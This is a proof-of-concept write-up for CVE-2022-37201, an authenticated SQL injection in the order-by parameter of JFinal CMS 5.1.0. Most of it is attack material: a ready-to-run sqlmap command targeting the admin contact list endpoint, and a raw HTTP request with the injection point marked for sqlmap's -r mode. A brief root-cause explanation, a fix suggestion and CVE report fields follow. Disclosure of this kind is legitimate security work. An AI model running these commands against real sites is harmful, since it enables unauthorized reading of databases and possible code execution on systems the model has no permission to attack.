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CVE-2022-37201

CVE-2022-37201 POC

POC

First of all you should install sqlmap

you need set

  • target domain or IP
  • your cookie

the run the shell

sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list  --thread 8 --batch --smart  --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10"  --cookie "  your cookie  " --current-db

image-20220730053527316

Sometimes you should know that the /jfinal_cms/ is not necessary ,you need juede the route

principle

you can see the code of interface /system/menu/list

sql.append(" order by ").append(orderBy);

There is a sql statement directly spliced

what is more

There is no measure to prevent sql injection because sql injection is required here

solution

By analyzing this function point, I found that the injection of orderby is fixed, such as id, name, menu key, so you can try to use parameterized query or make a whitelist

What is more

my test

POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close

form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10

run it in sqlmap！！！ use -r

[Suggested description] JFinal CMS 5.1.0 is vulnerable to SQL Injection.

[Additional Information] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md

[Vulnerability Type] SQL Injection

[Vendor of Product] the development group

[Affected Product Code Base] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0

[Affected Component] These interfaces do not use the same component, nor do they have filters, but each uses its own SQL concatenation method, resulting in SQL injection

[Attack Type] Remote

[Impact Code execution] true

[Impact Information Disclosure] true

[Attack Vectors] User login is required

[Reference] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md

[Discoverer] jw5t